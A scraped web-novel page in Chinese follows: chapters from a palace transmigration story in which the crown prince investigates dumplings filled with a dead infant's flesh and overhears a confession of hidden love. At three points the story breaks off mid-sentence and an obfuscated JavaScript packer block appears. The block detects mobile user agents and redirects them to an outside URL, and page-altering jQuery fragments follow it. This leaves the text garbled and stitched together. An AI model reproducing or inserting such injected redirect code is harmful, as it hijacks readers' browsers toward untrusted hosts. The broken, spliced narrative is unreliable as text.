马车轱辘碾过宫内的石板道,停在了显德殿前,杨惜掀帘走出,正想吩咐宫人准备吃食,忽见一个小宫女神色慌张地向他跑来。 “殿下……殿下不好了,淑妃娘娘病倒了,您快随奴婢去看看吧。” “啊?” 已饿得两眼发黑的杨惜迷茫地望了她一眼,半天没反应过来。 “陛下传旨说冬至日柳贵卿送往阖宫的饺饵是……是……” “是用夭折的小皇子的肉做的馅儿,碎肉……碎肉里还混着胎盘。” 这小宫女明显也很害怕,声音都发着抖。 “娘娘那日说饺饵的味道虽有些古怪,但到底是柳贵卿的一番心意,还是坚持咽了几个。” “今日陛下传旨来后,娘娘一听就惊呼一声,吓昏过去了,现在还没醒过来。” “不……不只是淑妃娘娘,永宁宫的杜嫔也当场晕了,后宫的许多嫔妃小主听闻此事后都害怕得紧,终日抱着痰盂呕吐……毕竟当日阖宫的贵人都收到了柳贵卿送的那碗饺饵。” 杨惜听清这小宫女的话后,瞬间精神了,这这这这什么情况? 这里是《燕武本纪》没错吧,怎么突然就爆改古代版《十宗罪》了? 杨惜作为完本阅读了《燕武本纪》的读者,这场穿书中最致命的一点就是他穿了个在原书中没什么存在感的角色,许多发生萧成亭身上的事,他一概不清楚。 原来这位颇具传奇色彩的柳贵卿是个精神变态吗,碎尸婴胎还包成饺饵……悬疑小说都不带这么惊悚的。 杨惜突然想起那日在房中,锅巴曾冲那碗饺饵不停吠叫,当时他以为锅巴是在提醒自己那饺饵里有毒,没想到锅巴其实是嗅出了饺饵馅儿的不对劲。 可是谁能想到这一层呢?好在当时杨惜思家情切,又被萧鸿雪以美色试探了一番,根本没顾上吃那碗饺饵。 杨惜心有余悸地咽了咽口水,转头对贺萦怀道:“萦怀,你先回去休息吧。我随她去看看我母妃。” “好。”贺萦怀点了点头。 虽然杨惜现在简直饿得想啃人,但是听说原主的娘受了惊吓不省人事,身为人子,如果先坐下用完饭才过去,实在不孝,反正也饿了大半天了,不差这一会儿,还是先随她过去。 轿辇在前往王淑妃所居的荣熙宫时,路过了司天监。 司天监门口站着一个发须皆白的老者,他手拄禅杖,一身青色的衣袍,衣袂飘飘,颇有几分仙风道骨的气质。 杨惜不经意与他对视了一眼,看见他的脸庞病白瘦削,双眼深邃,仿佛能 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对太子说“你以后能当皇帝”就好比对富豪刚出生的儿子说“你以后会有很多钱”一样,预言得很好,下次别预言了。 “殿下以为……太子就一定能称帝吗?” “当然不是,放眼前史中,有多少太子到死都没能坐上那个位子啊。” 孔仪宣似乎看出了杨惜的心中所想,轻笑了一声,接着道:“奇的是,微臣一月前远远见过殿下一面,那时殿下身上可毫无天命的气息啊。” 听了这话,杨惜凝眉思忖了起来。 一月前自己还没有魂穿过来,孔仪宣说那时萧成亭身上没有天命的气息,好像还……挺准的?原书里萧成亭确实到死都没能称帝。 而孔仪宣说现在自己身上突然有了天命的气息,难道是在暗示自己这个穿书而来的灵魂有称帝的希望? 虽然杨惜压根儿没觉得自己能胜过萧鸿雪,但他见这孔仪宣谈论起江山储位来毫不避讳,对他倒是有些刮目相看了,笑了笑,“那就借国师吉言了。” 轿辇继续向前行去,孔仪宣对着轿辇躬身作礼,目送一行人消失在视线中,方才直起身。 这时,一个站在司天监门后许久的人,自阴影中悄无声息地走了出来。 “国师大人,怎么样?” “确实如殿下猜测的那样,太子身上有一股非常陌生的生魂气息,他这具躯体的寿命线本来已经中断,却又被‘天命’给强行粘续上了,真是不可思议。” “哦,那也就是说现在的太子其实被人夺舍了?” “正是。” “那这‘天命’可是这个生魂带来的?” “暂时还看不出来,但殿下您知道的,微臣的术法对身怀‘天命’的人不起作用。” “若是以前,微臣还能以术法襄助殿下,惑乱太子心志。现在……只怕是无能为力了,此事须得靠殿下自己想办法。” “是吗,那可真是……麻烦了啊。” 萧幼安眯起眼,轻声喃喃道。 他稚气未脱的脸上是一副阴鸷的表情,手指轻轻拨弄着自己腰间的流苏穗。 20. 情衷 杨惜刚走进荣熙宫的寝殿,就看见睿宗正背着手,站在王淑妃的床榻前。 “是凤皇啊……你来了。” 睿宗听见动响,转过身。 杨惜望见他两眼布满了血丝,眉间是化不开的忧郁和愁绪,颔边还有些细碎的青色胡茬,比起之前憔悴了不少。 “见过父皇,儿臣来看看母妃。” “你母妃身体应无大碍,她向来胆子小,只是被吓晕了。” 睿宗抚着床榻围栏上的雕纹轻叹一声,爱怜地看着王淑妃的侧脸。 “凤皇,你陪着你母妃,朕去永宁宫看看杜嫔。杜嫔平日和姜昭仪最要好,昭仪还在孕中时就许诺让孩子拜她为干娘,如今出了这种事……杜嫔想到自己也食用过那碗饺饵,悲恸欲绝,当场呕血,现在还不省人事。” 杨惜听了这话,心道睿宗果然分外疼爱王淑妃和萧成亭母子俩啊,虽然王淑妃和杜嫔都晕过去了,但那位杜嫔的情况听着显然要严重许多,可即使这样,睿宗依然选择先来荣熙宫探望王淑妃。 有对如此相爱的父母,刚出生就被老爹钦定为太子,被溺爱得从小到大没听过一句重话,难怪萧成亭生性骄纵跋扈。 可惜他这幸福到显得有点虚幻的人生很快就要急转直下了……杨惜摇了摇头。 “……父皇,那位柳贵卿,可招供了?” 杨惜实在好奇柳贵卿做出这种恐怖行径的动机,难道是爱睿宗爱得死去活来,眼见其他后妃为睿宗诞下婴孩而自己不行,所以心生妒火? “尚未……朕将他拘在了慎刑司,那边回话说已动过刑,但柳梦书矢口否认,朕打算看过杜嫔后亲自去审。” “父皇不若把此事交给儿臣吧。” 杨惜状若不经意地从桌案上的点心碟中捞起了几块糕饼送进嘴里,鼓着腮颊说道。 他是真的很好奇这柳贵卿何许人也,羸弱文人、断袖、自荐枕席、碎尸婴胎包进饺饵,简直叠满了扭曲变态的buff。 可柳梦书身为柳博士的独孙,就是后天长歪了,有那样一位清正严肃的爷爷,也不至于歪成这样吧……杨惜感觉这件事绝对不简单。 因为古代没什么娱乐活动,他天天净在显德殿吃吃睡睡也挺无聊的,索性担起储君的责任,替皇帝老爹分忧,顺路去打卡一下那位颇具传奇色彩的柳贵卿。 “父皇为政事操劳已是心力交瘁,后宫之事本不该再惹父皇劳心。因此事实在骇人,柳贵卿又是男妃,身份特殊,其余后妃也不好与之接触,不若让儿臣去审,儿臣不怕。” “父皇憔悴,儿臣心疼父皇,愿为父皇分忧。” “好,朕的凤皇长大了……” 睿宗先是一愣,而后目光柔和地看着杨惜。 杨惜对上睿宗的眼神,发现其中除了长辈的慈爱之外,更多的……是怀念?睿宗似乎是在透过自己的脸看另一个人。 怀念谁呢?这张脸应该随了生母,可睿宗与王淑妃朝夕相处,何来怀念之说? 杨惜感觉有些奇怪,但也没有放在心上。睿宗走后,杨惜走到王淑妃榻前,用绢帕细细擦拭了她鬓角的冷汗,为她掖了掖被角。 他握着王淑妃的手在榻边坐了一会儿,然后起身,带着称心和几个侍从一同前往慎刑司。 慎刑司位处皇宫一隅,仿佛是被刻意隔离出来的一片区域,四周红墙耸立,砖瓦上布满了斑驳青苔。盖因它见证了宫廷中的许多权力斗争、人性善恶之故,充满了一股阴森肃穆的气息。 慎刑司前院只立着几株枝叶稀疏的老树,空得有些压抑。杨惜拨了拨自己右耳垂上那串金色珠链,由侍从引路,走在那略显坑洼的石板道上。 往前走了一段路,杨惜突然清晰地闻见了一股混合了霉味、血腥味的陈朽气息,皱起了眉头。 远处的楼宇内时不时传来几声正在接受审讯或刑罚的犯人发出的呻吟和痛苦哭喊,令人心惊,连空气都变得凝重起来。 一行人刚要走进羁押着柳贵卿的那间审讯室时,忽听得身后传来一声急切的呼喊: “娘娘,娘娘,您不能去啊,慎刑司是血光之地,您刚出小月,见不得……” 杨惜转过头,看见一个嫔妃打扮的女子快步向这里走来,满头簪钗环佩叮当作响。 女子身后跟着一个小宫女,在极力劝阻她继续前进,她却置若罔闻,眼看就快要赶上杨惜一群人了。 杨惜见状,连忙命身边侍从和慎刑司的看守和他一起悄声躲在审讯室那扇绘着獬豸的彩屏之后,“嘘,先看看情况。” 审讯室内光线非常昏暗,好在还点着几盏油灯,虽然光芒微弱,但能勉强视物。 借着油灯的光,可以看见房间的墙壁上都悬挂着各式各样的刑具,有的还在往下一滴一滴地淌血,那嘀嗒嘀嗒的声响听得人不寒而栗。 柳梦书身上那一袭白衣已俱是斑斑血渍,他嘴唇青紫,阖着眼,背倚墙壁,安静地坐在一堆潮霉的稻草上。 “柳子元!” 姜兮不顾身后宫女的劝阻,大步迈进审讯室,将门一关,把宫女挡在门外。然后,她语气愤激地对蜷缩在房间一角的那个身影大喊了一声。 屏风后,杨惜与身边的人对视了一眼。子元应该是柳梦书的表字,她直呼柳梦书的表字而非姓名,看来二人的关系非同寻常啊。 “是你对不对?是你把我的阿衡做成了饺饵……” “你怎么可以……你怎么敢!” 姜兮情绪激动,呼吸急促,胸口难以自抑地起伏着。 柳梦书本来发烧烧得头脑昏沉,朦胧中听见自己魂牵梦萦的那道声音之后,不可思议地睁开了眼睛,眼中满是错愕与惊喜。 “阿兮……” 柳梦书望着姜兮,怔了怔,声音沙哑得可怕。 “真的是你,咳咳,你来看我了。” “这次……不是做梦吧?”他苦涩一笑,用力眨了眨眼,确认这不是幻觉。 姜兮见他不回话,心中一阵烦躁,直接冲过去,对着那个清瘦的身影一阵揪打。 柳梦书眼中泛泪,任姜兮歇斯底里地扑打他,没什么反应。 等姜兮打累了,站在一旁喘气,柳梦书才抬起满是泥垢与血渍的手,似乎是想要摸摸姜兮的脸颊,但那只手在空中颤抖得厉害,想要触碰却又不敢靠近,最后还是垂下了。 “瘦了。” 柳梦书轻笑一声,眼睛一眨不眨地望着姜兮,眼神中满是温柔与眷恋。 “回答我!” 姜兮咬着唇,扬起手重重给了柳梦书好几个耳光。 柳梦书被扇得脸往一边偏去,本就受了伤的嘴角瞬间有血渗出,他用脏污的袖角擦了擦,目光依然平静。 “……不是我。” “即使阿衡是你和萧梧山所生,那也是你的孩子,我怎么可能……舍得。” 屏风后的杨惜听见“萧梧山”这个名字,乍时间没反应过来,略微思索后他一拍脑门,这不就是睿宗的大名嘛! 看来这个女子正是那位夭折的小皇子的生母姜兮,她和柳梦书之间,看起来不简单啊。 难道其实柳梦书是深爱姜兮,见不得她和睿宗生孩子所以才……感觉老爹头上绿意盎然的。 昏黄摇曳的灯光映着柳梦书伤痕累累的面庞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824247|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,姜兮愣愣地望着他。 “你好久没有这样看过我了——上次在宫道上遇见你,你连头都不敢抬,擦着我的肩就走了呢,阿兮。” 柳梦书笑了,语气如表面平静实则暗流涌动的湖水般,有种平静的疯狂。 他突然一步步走向前,姜兮被逼得不停后退,眼看身后就是墙壁,退无可退的时候,柳梦书突然止住了脚步。 姜兮这才看见柳梦书踝骨上嵌着一道细长的锁链,限制着他的活动范围。这道锁链此刻绷成了直线,他已无法再往前一步。 锁链深深陷入柳梦书皮肉里,他脚踝伤口深可见骨,一动起来就被扯得鲜血淋漓。 他却像毫无知觉般,突然弯下腰大笑了起来,笑得浑身发抖,等他再抬起头,已是泪水盈面。 “阿兮,你知道吗……我是为了你才委身萧梧山的。” “三年前,你来和我辞别时,告诉我萧梧山要你入宫为妃,你不能抗旨,一入宫门,我们就终身无法再相见了。” “可是萧梧山他凭什么?凭什么他在尚书府对你一见倾心,就可以轻而易举地夺走你,夺走我二十年的挚爱……就因为他是皇帝?” “我不愿和你错过,哪怕是以这种方式追上来,哪怕在宫里遇见你时连打个招呼都不敢,但我只要还能远远望着你,就足够了,阿兮。” “你……” 姜兮听了这话,彻底愣住了。柳梦书在宫里的行动受到严格限制,自他几月前入宫,他们前后照面十几次,都没有说过话。 “可我并不知晓你的心意,这些……你在我入宫前从未对我讲过。”姜兮小声嗫嚅道。 柳梦书轻轻一笑,伸手将姜兮额前的碎发拢到她耳后,“你都要入宫了,难道我还要泪眼婆娑地纠缠你,说阿兮,我心悦你二十年了,我打小就喜欢你,然后让你怀着这样的憾恨入宫?” “我原想默默将这份情意深埋在岁月里,你入宫之后,我以为我可以慢慢忘了你,娶妻生子,平淡过一生。” “可我发现,我做不到,阿兮,我做不到。” 柳梦书自嘲地摇摇头,“……事到如今,我只恨自己没能早些向你表白心意,走到今天这一步。” “学宫博士之孙,罔顾人伦纪法,在陛下巡视学宫时处心积虑地爬上他的床,败坏家风,沦为天下笑柄……” “入宫之后,甚至还有妃嫔和我争风吃醋,眼红萧梧山对我‘夜夜盛宠’。呵……好一个夜夜盛宠,和萧梧山在一起的每一分每一秒,都让我恶心透顶。” 柳梦书蹙紧秀眉,面上是毫不掩饰的厌恶。 “所有人都说我自甘下贱,说我是个天生媚骨,爱给男人暖枕席,爱雌伏在男人身下喘吟的贱人。” 柳梦书回想着自己入宫前一天在学宫里听见的议论,攥紧手掌,指甲深深掐进了掌心。 “可我不是贱人,你明白吗,阿兮?” 柳梦书动手解开了自己的衣带,衣衫簌簌落地。姜兮看见他的脖颈、胸膛、腰侧、双腿,满是青青紫紫的爱痕,愣住了。 “今日之前,萧梧山还在和我缠绵呢,呵……和男人在一起的滋味,真是恶心透了。” “我不是贱人,阿兮,即使不得已要在他身下承宠,我也是个男人。” 柳梦书笑了,眼中含泪,双手控制不住地发着抖,拾起地上的衣衫慢慢穿回。 “所有人都可以说我下贱,只有你不可以……阿兮。我把我的声名、尊严、身体都舍弃了,才能像这样,再度站在你面前。你不可以看不起我……不可以。” 柳梦书颤抖的声音里,竟带着些哀求的意味。 21. 皇兄 “我从没有看不起你,最初听闻你入宫后,也只是不解你为何要这样做……你以前从没有和我讲过你的心意,我们自幼一起长大,我……我一直把你当成兄长爱敬。” 姜兮咬着唇答道,她被癔症折磨了这么些天,此刻眼眸难得清明。 “兄长……呵,我做这些事,都是为了你啊,阿兮……我想知道你在他身下时到底是何种心绪,我想远远望着你,不想和你就此陌路。” 柳梦书闻言笑了起来,脸颊上犹有泪痕。 “为了你,我连一个男人视若性命的声名尊严都可以不要,又怎么会害你,那是你的孩子啊!我喜欢他都来不及,又怎么会将他……” “冬至日我往阖宫送饺饵,只是想藉此让你尝到,你从前最爱吃我做的饺饵了,还记得吗?” “可我也不清楚,在小厨房里还好好的饺饵,为何到了你们手上就变成……” “阿兮,我能向你保证,不是我,真的不是我,定是旁人在途中动了手脚。若我所言有半句不实,我愿受雷殛之刑。” 柳梦书双眼通红,眼神一错不错地望着姜兮。 姜兮听罢他说的话后,无力地跌坐在地,呆愣愣地望着铺在地面上的那片洇着血的稻草,泪流满面。 一晌后,她扬起手,重重地给了自己一耳光。 她姜兮何德何能……得到一个人这样深沉隐晦的至爱和真心。 屏风后的几人无意间听到这等后宫秘辛,尴尬地面面相觑。猛吃了一口老爹后宫感情大瓜的杨惜被震撼得久久说不出话来。 本以为那柳梦书是个变态断袖,没想到意外的还……挺纯爱的,只是,如果柳梦书所言不假的话,人肉饺饵的线索就断了。 真凶该是何等恐怖的一个人啊……估计那人是在小皇子刚下葬,尸身都尚未腐烂时就将他掘出,分尸成细碎的肉块后一直保存至今。 在得知柳梦书准备在冬至日手制饺饵送往各宫后,那人找到机会将饺饵调换了,嫁祸柳梦书。 一想到这个变态凶手至今还藏身在暗处,杨惜就感觉不寒而栗。 “我会禀报陛下尽快查明此案,还你清白。” “……兄长。” 姜兮叹了口气,站起身,心情复杂地看了柳梦书一眼,向外走去。 姜兮虽没有正面回应柳梦书向她剖白的心迹,但有心人都听得出,她轻声唤出的“兄长”一称,便是她的答复。 任柳梦书痴心一片,到底是郎有意妾无情,情爱之事向来如此,从来非强求可得。 柳梦书苦涩一笑,目送姜兮离去。 待姜兮的身影彻底消失在视线里后,柳梦书突然浑身脱力似的,再也站不住,脊背贴着墙壁滑了下去,偏头呕出一口乌血。 “脏死了。” 柳梦书垂眸,望着自己领口边那遮挡不住的旖旎吻痕,喃喃道。 他面无表情,用指甲将那些粉红的印痕挠得鲜血淋漓,以伤口将其掩盖。 这时,杨惜带着身边的侍从和慎刑司的守卒一起自屏风后走出。 柳梦书抬起头,惊愕地望着他们,一时失语。 “太子殿下……都听见了?” “嗯……” 杨惜颔首,转身对一旁的慎刑司看守吩咐道:“此案有疑,不得再对柳贵卿动刑,只可正常问询。” 杨惜叹了口气,心道这柳梦书也是个可怜人,没说什么,带着侍从离去了。 众人走后,柳梦书木然地望着屋顶,喃喃自语起来。 “阿兮……难道你真的对萧梧山动情了么,怎么就不可以回头看看我呢……” 他里心里空荡荡的,却也难得感到有些轻松和解脱。 “走了一个,又来一个,呵。我还真是失败啊……” 太子若将今日之事悉数告知萧梧山,自己只怕是要被赐自尽吧。 也好,这段举世皆讥的孽情,早就该了断了。 柳梦书自嘲地摇了摇头。 * 杨惜从慎刑司出来时,天色已晚,道旁点起了几盏长信宫灯,晕开了昏渺的光线。 人肉饺饵一事若不是柳梦书所为,那么就要仔细查查那位姜昭仪在后宫可曾与谁结下仇怨,那人能做出这种事,想必定是恨她入骨了。 但他思及这个时辰去会见宫妃确实不太妥当,于是吩咐几个抬轿辇的小太监回显德殿。 轿辇刚在东宫门口落地,就听得殿宇内隐隐传来几声娇喝: “喂,本公主问你话呢,你给我站住!” “你到底是我皇兄什么人?” 玉奴公主萧成碧和二皇子萧明期同是贤妃所出,她刚从乐游原纵马回来,回宫第一件事便是来找她的太子哥哥。 萧成亭为人虽然荒淫好乐,但他对自己这几个弟弟妹妹都是真心疼爱,尤其萧成碧还是睿宗膝下唯一的公主,萧成亭对这位幼妹更是疼爱非常。 萧成碧生性娇蛮跋扈,不喜规矩约束,曾在朱雀门外当街鞭笞一位王孙公子,而当时萧成亭竟毫不阻拦,只在一旁笑眯眯地为她鼓掌,宠惯如此。 萧成碧的亲兄长萧明期生性安静寡言,喜好读书,两人性格简直是天差地别,萧成碧和自己的亲兄长平日里并不亲近,无甚交流,反倒和纵着她任性胡闹,有时甚至还带着她一起去寻欢作乐的太子哥哥关系甚密。 傍晚萧成碧从乐游原纵马归来,带了些东市街的新奇珍玩,准备来显德殿向太子哥哥“献宝”,结果扑了个空,没找到人。 萧成碧怏怏不乐,在显德殿内漫无目的地转了一圈,正准备回寝宫时,突然在碧梧院旁的檐廊下看见一位少年舞剑。 天地飞雪皑皑,立于此间的那位执剑少年美得出尘。他手中长剑鸣动,光华流转,剑声清脆如水银泻地,霜雪一样莹白的剑光将萧成碧眼前景致映亮。 宫灯昏黄的光晕为少年那一身素衣镀上了层暖芒,他收剑归鞘,轻咳一声,淡淡地瞥了一眼在远处望他望得有些发痴的萧成碧,便向院内走去。 “喂……你,你等等!” 萧成碧回过神,望着那个银发如缎的身影,鬼使神差地追了上去。 萧鸿雪闻言不解地转过身去,便望见那个一身红狐裘袍,鬓间斜插着许多金簪玉钗,跑动起来叮当作响的陌生少女朝他奔来。 萧成碧在萧鸿雪面前停下,轻轻喘着气,在看清萧鸿雪的脸后,她愣了一晌。 饶是萧成碧自小在美人如云的后宫长大,也从未见过比眼前这个少年更姿容绝世的人。 萧成碧眸中划过一丝惊艳之色,明明自小娇纵跋扈惯了,此刻被萧鸿雪平静的眸光打量着,她竟没来由地感到有些紧张,讲话不自觉结巴,又怕被他看出自己气短,她攥紧了自己的袖摆,故作咄咄逼人的语气: “你是谁?以前在宫里没见过你啊,你为什么住在我皇兄的显德殿?” “喂,你是头一回入宫吧?知不知道本公主是谁?” 萧鸿雪听见她自称公主,但也只是面无表情地看了她一眼,转过身,准备进屋。 自小众星捧月的萧成碧何曾受过这样的冷待,一时又羞又怒,直接一马鞭抽在了雕花门扇上,挡住了萧鸿雪的去路。 “怎么不说话,你是哑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧成碧亲昵地挽着杨惜的胳膊,指着萧鸿雪说:“皇兄,我要他,你把他赐给我当面首好不好?” 杨惜:…… 皇兄还不想英年残废啊,皇妹! 杨惜僵硬一笑,在萧成碧期待的目光中,转头对萧鸿雪说:“阿雉……” “玉奴年幼,你别和她一般见识,外面天冷,你身体不好,别在外久站,先回屋吧。” “皇兄!我说我要他当我的面首!” 萧成碧嘟囔着嘴,拽着杨惜的胳膊猛晃。 杨惜心道还真是有其兄必有其妹啊,原主和萧成碧这兄妹俩连审美都是统一的,爱上萧鸿雪就像呼吸一样简单,但是…… 现在要真答应让萧鸿雪给她做面首,估计以后他们大燕皇室有一个算一个,全部要被萧鸿雪扔去毛毛虫面包生产流水线。 杨惜哽咽了一下,看着萧成碧,心道老妹啊,我求求你别说了,赶紧和你哥一起滑跪吧。 但萧成碧自幼娇纵惯了,想要的东西从来没有得不到的,她见这个一直惯着自己的太子大哥头一次不允自己的要求,狐疑地看着杨惜。 “皇兄,你为什么不肯答应玉奴?” 萧鸿雪闻言也望了过来,挑了挑眉,似是在等待杨惜的回答。 “呃……” 杨惜见两人都紧紧盯着他,一时也想不出合理的解释,索性心一横,道: “因为——皇兄喜欢他。” 22. 酒嗜 萧成碧闻言一愣,两只琉璃小盏般清亮的眼睛看看身边的杨惜,又看看一旁的萧鸿雪,不可置信地确认了一遍: “皇兄,你说你喜……喜欢他?” 杨惜顿了顿,刚才他是一时情急脱口而出了,被萧成碧这么一问,又下意识想否认,“不喜……” 但他很快转念一想,我喜欢我推,怎么了?我确实喜欢萧鸿雪啊,要不是因为萧鸿雪,我能生生追完那部足足有两千多章的《燕武本纪》吗,不要小看读者和主角之间的羁绊啊。 我对萧鸿雪又不是“兄弟你好香”、“兄弟你的手好软啊”的那种喜欢,没什么不好承认的。 想到这里,杨惜坦坦荡荡地点了点头。 “……嗯,喜欢。” 萧鸿雪将杨惜的话听得分明,错愕了一瞬,随即面色一沉,冷冷地睨了杨惜一眼。 喜欢? 是初见便给他下药,想和他同榻云雨的那种喜欢,还是每日假情假意地嘘寒问暖,说着那些冠冕堂皇的话,背地里却偷偷念着他名字自渎的那种喜欢? 太子和他相识不过半月,甚至拢共都没交谈过几句,连他的脾气秉性都不清楚,至多也就是恋慕他的皮相罢了。 这种轻贱戏谑的喜欢,萧鸿雪只觉得可笑。 萧鸿雪认为,太子这是顺风顺水、无人违逆的生活过久了,见自己宁可玉石俱焚也不愿委身于他,一时新奇感和征服欲作祟,硬是要一心扑在自己身上,妄想有朝一日能够感动自己,答应与他欢合。 他又怎么会让他如愿呢? 萧鸿雪轻咳了一声,抱臂倚着门框,眸光淡淡地落在杨惜身上逡巡了一圈,想从杨惜的神情中看出些端倪。 杨惜被萧鸿雪这样看着,虽然已经做过心理建设了,还是莫名有点心虚,他昂首将目光移到别处,避免和萧鸿雪对视。 “可玉奴方才问过他了,他说他不是皇兄的男宠啊。” 萧成碧的脸上写满了疑惑和不解。 杨惜勾唇一笑,抬手轻轻敲了一下萧成碧的额头,“我们玉奴小小年纪,嘴里不是‘男宠’就是‘面首’的。” 萧成碧揉着额头,闻言瞬间赧然,小声嘟囔着:“皇兄取笑玉奴……” “他不是皇兄的男宠,他是昭王的幺子萧鸿雪,按辈分你还得称他一声族兄。” “皇兄第一次见他就很喜欢他,但表达喜欢的方式不当,对他做了些很不好的事……皇兄一直心觉亏欠,想要补偿他。” 杨惜小心翼翼地看了萧鸿雪一眼,怕戳到他伤心处,刻意放低了音量。 “……他母亲去得早,主母昭王妃又苛待他,冷天里将他笞打得浑身是伤,皇兄实在不忍,所以把他带回显德殿养伤。” “因为之前的事,他并不喜欢皇兄,相反,他恐怕早就恨皇兄入骨了。”杨惜轻声叹了口气。 萧成碧懵懂地点点头,继续问道: “皇兄,即使他根本不喜欢你,甚至厌恶你、恨你,你也依然很喜欢他吗?为什么?” “因为他是萧鸿雪。” 杨惜几乎不加任何思考,脱口而出。 “可皇兄是储君啊,就算有愧于他,也不用在他面前这样小心翼翼、卑微讨好吧。喜欢他,直接强抢强逼不就成了?这里是显德殿,他叫天天不应叫地地不灵的,即使再不情愿,还不是只能乖乖就范。” 杨惜听了这话,愣了愣,旋即轻笑一声,“皇兄真怕哪日听见玉奴上街强捆了谁家公子回来做驸马。” “玉奴啊,真正喜欢一个人,就会无比珍视他,在乎他的感受。阿雉他生性高傲,自尊心又强,宁可和皇兄以死相博,也决不会委身苟合。” “何况,本就是皇兄先对不起他的,他对皇兄怎样冷淡怎样厌恶,都是应该的,他没有错。” “玉奴知道了……” 萧成碧听完杨惜的话,若有所思,她松开了杨惜的臂膊,慢慢向萧鸿雪走去。 杨惜也不知道这小丫头要做什么,好奇地望着她的背影。 只见萧成碧在萧鸿雪身前站定,试探性地喊了一声:“皇嫂。” “先前……是玉奴失礼了,对不起,皇嫂。” 萧成碧咬着唇,恭恭敬敬、乖乖巧巧地朝萧鸿雪鞠了个躬。 萧鸿雪:…… 萧鸿雪没有说话,怒剜了一眼站在远处的杨惜,然后毫不犹豫地转身进屋,重重合上了门。 杨惜愣住了,反应过来后,笑得弯了腰。 萧鸿雪也有今天? 看这架势,萧鸿雪多半是以为萧成碧喊他“皇嫂”是自己教唆的,所以很是愠怒。 他这副模样,倒还……挺可爱的。 杨惜强忍着笑意,拍了拍萧成碧的肩,然后走到门扇前,抬手轻轻敲叩了几下,道: “阿雉,童言无忌,童言无忌,你千万别往心里去。” “我都和玉奴说了,我们是一对友恭的手足兄弟,谁知这丫头竟将你我关系曲解成……但是兄长发誓,兄长真的没有教唆她乱喊。” “……阿雉,你用过晚膳了吗?没有的话,现在和兄长一起去前厅,兄长吩咐他们备宴。” 萧鸿雪背倚着门扇,低头摩挲自己右掌小指上那条细长的烫疤,良久沉默。 * 翌日一早,杨惜就带着贺萦怀和几个侍从一同前往姜昭仪所居的钟粹宫,准备询问她在后宫可曾与谁结下仇怨,锁定饺饵案的嫌疑对象。 几人正准备出发,一只金黄色的小犬突然自身后快速蹿出,冲到杨惜身旁,爪子搭在他腿上一阵乱蹭,把周围的侍从吓得纷纷按刀。 “呀,你要跟着赶路啊。” 杨惜摆了摆手止住众人,笑眼弯弯地将锅巴抱起来,却差点被它给沉劈了手。 杨惜在心中感叹锅巴在东宫才待几天,就已被喂养得皮毛油亮,俨然变成小肥狗一只了,明明他的主人萧鸿雪还如旧苍白清减呢。 然后,他不动声色地把锅巴往贺萦怀手里一递。 “锅巴少爷,本宫是抱不动你了,但本宫替你拣选一个咱们东宫最健壮有力的美少年,保准能伺候得你舒心……来,萦怀,你替本宫抱会儿。” 贺萦怀闻言僵硬地将杨惜怀里的锅巴接过,因为没有经验,双臂无所适从地弯曲着,那抱狗的姿势怎么看怎么像将狗架在空中晃荡。 锅巴就这么被贺萦怀这么“摇摇坠坠”地给抱着走,爪子死死地扒着贺萦怀的臂膊不敢松,低声呜咽了一路。 好在钟粹宫并不偏远,几人很快就走到了宫门口,贺萦怀刚屈下身,想将锅巴放在地上时,锅巴就如离弦之箭般飞快地从他怀中蹿出,一溜烟就在钟粹宫里跑没影了。 “殿下,那是?” 钟粹宫守门的小宫女愣了愣,望着快速掠过的那道金黄色的影子,有些犹豫地问道。 “是本宫的宠物小犬,性情温良,从不伤人,无碍的,且随它去。” “是。” 一晌后,杨惜在钟粹宫前堂见到了姜兮,两人隔着一张桌案,相对而坐。 姜兮面容憔悴,一幅精神恍惚的模样,杨惜与她打招呼时,她只是勉强笑了笑,眼神又飘忽起来,望着凝在窗纸上的霜花出神。 宫女前来布茶,杨惜拈起茶杯,轻轻啜了一口绿褐鲜润的热茶水,道:“好茶,可是雪峰毛尖?” 那宫女欣然一笑,“殿下识茶,正是。” “雪峰毛尖是我家昭仪娘娘最喜爱的茶叶,钟粹宫里四时长备。” 杨惜但笑不语,心想这位昭仪娘娘居然和他家老爷子嗜好同一种茶叶。 姜兮闻言转过头,眸光淡淡地落在面前那盏茶水中,望着茶盏上那温软的水汽螺旋,似是想起了什么往事,悠悠道: “其实,妾身以前并不喜欢饮茶,嫌茶水寡淡无味,还曾去府中的窖房里偷父亲珍藏的佳酿喝。” “大雪天,喝了酒就不觉得冷了,只觉得双颊发烫,头脑昏沉,整个窖房好像都变得暖意融融的。后来,府内的小厮发现我时,我正抱着酒坛子酣睡。” “我已经记不得那坛酒是何种滋味,似乎并没有那么甘醇,但我还记得那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824249|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次偷偷饮酒被父亲发现后,痛罚了我一顿……为了一坛其实没那么好喝的酒,被禁足了快一月,还真是不值当。” 